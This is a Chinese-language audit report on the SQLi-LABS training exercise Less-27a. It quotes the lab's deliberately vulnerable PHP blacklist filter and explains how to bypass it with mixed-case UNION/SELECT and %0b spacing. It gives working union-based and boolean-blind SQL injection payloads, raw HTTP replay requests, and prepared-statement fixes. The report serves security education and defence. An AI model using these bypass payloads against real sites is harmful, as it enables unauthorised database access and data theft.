sqli-labs-Less-27a-代码审计报告

13次阅读
没有评论

Less-27a 审计报告:SELECT/UNION 大小写黑名单绕过(双引号,盲注)

1. 关卡概述

项目 内容
关卡名称 Less-27a Trick with SELECT & UNION
源码路径 Less-27a/index.php
漏洞类型 SQL 注入 – 联合查询/布尔盲注(黑名单按精确大小写列举 select/union,双引号闭合)
注入点参数 GET /Less-27a/?id=
报错/盲注 盲注(无报错回显,但有/无行差异可用于布尔判断,联合查询可直接显示)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-27a/index.php

// 第 20 行:用户输入直接取出
$id=$_GET['id'];

// 第 27 行:黑名单过滤
$id= blacklist($id);

// 第 32 行:用双引号包裹(先过滤后包裹)
$id = '"' .$id. '"';

// 第 35 行:数字型拼接(模板无引号,双引号由第 32 行提供)
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

// 第 48~49 行:无报错回显
//print_r(mysql_error());

// 第 58~73 行:黑名单 —— 注释符、空格/加号、精确大小写的 select/union
function blacklist($id)
{
    $id= preg_replace('/[\/\*]/',"", $id);
    $id= preg_replace('/[--]/',"", $id);
    $id= preg_replace('/[#]/',"", $id);
    $id= preg_replace('/[ +]/',"", $id);
    $id= preg_replace('/select/m',"", $id);
    $id= preg_replace('/[ +]/',"", $id);
    $id= preg_replace('/union/s',"", $id);
    $id= preg_replace('/select/s',"", $id);
    $id= preg_replace('/UNION/s',"", $id);
    $id= preg_replace('/SELECT/s',"", $id);
    $id= preg_replace('/Union/s',"", $id);
    $id= preg_replace('/Select/s',"", $id);
    return $id;
}

3. 漏洞分析

  • 过滤机制:同 Less-27 —— 删 /*、--、#、空格/加号([ +]),删精确大小写列表中的 select/union(select/union/UNION/SELECT/Union/Select)。无 /i,故 SeLeCt/UnIoN 可绕过;空格可用 %0b 代替([ +] 不删 %0b)。
  • 闭合方式:第 32 行 $id = '"' .$id. '"' 给注入值套上双引号,最终 WHERE id="<注入值>"。payload 需闭合 ",末尾以 " 收尾,让模板尾部的 " 落在别名位置。
  • 盲注判定:print_r(mysql_error()) 被注释;但联合查询返回的行会回显 Your Login name/Your Password,因此 UNION 可以直接显示数据;布尔盲注则用"有行/无行"判定。
  • 可被绕过的本质:黑名单按精确大小写列举关键字,混合大小写即可绕过。

4. 利用方式

步骤一:确认双引号闭合

?id=1"%0bUnIoN%0bSeLeCt%0b1,2,3%0b" → 若正常返回,说明 UnIoN/SeLeCt 与 %0b 均未被删,双引号闭合成立。

步骤二:联合查询直接显示数据(核心 payload)

-1"%0bUnIoN%0bSeLeCt%0b1,2,database()%0b"

第 32 行包裹后最终 SQL:

SELECT * FROM users WHERE id="-1" UnIoN SeLeCt 1,2,database() "" LIMIT 0,1
  • -1 无匹配行,UNION 结果显示 Your Login name:2、Your Password:security。

步骤三:布尔盲注(替代方案)

1"%0band%0b(ascii(substr(database(),1,1))%3E100)%0band%0b"1

包裹后:

SELECT * FROM users WHERE id="1" and (ascii(substr(database(),1,1))>100) and "1" LIMIT 0,1
  • 条件真 → 返回 id=1 行;条件假 → 无行。

步骤四:提取其它数据

-1"%0bUnIoN%0bSeLeCt%0b1,2,group_concat(table_name)%0b%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()%0b"

5. Yakit 重放数据包

GET /sqli-labs/Less-27a/?id=-1"%0bUnIoN%0bSeLeCt%0b1,2,database()%0b" HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

布尔盲注报文:

GET /sqli-labs/Less-27a/?id=1"%0band%0b(ascii(substr(database(),1,1))%3E100)%0band%0b"1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

%0b 需保持 URL 编码形式;" 在 query string 中可直接发送。


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

  • 精确大小写黑名单必然可被混合大小写绕过;应采用参数化 + 白名单。
  • id 参数 ctype_digit()/is_numeric() 强校验。
  • 盲注不依赖报错,仍需参数化根治;数据库最小权限。
  • 升级 PHP 7+ / 8+,移除 mysql_*。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
正文完
 0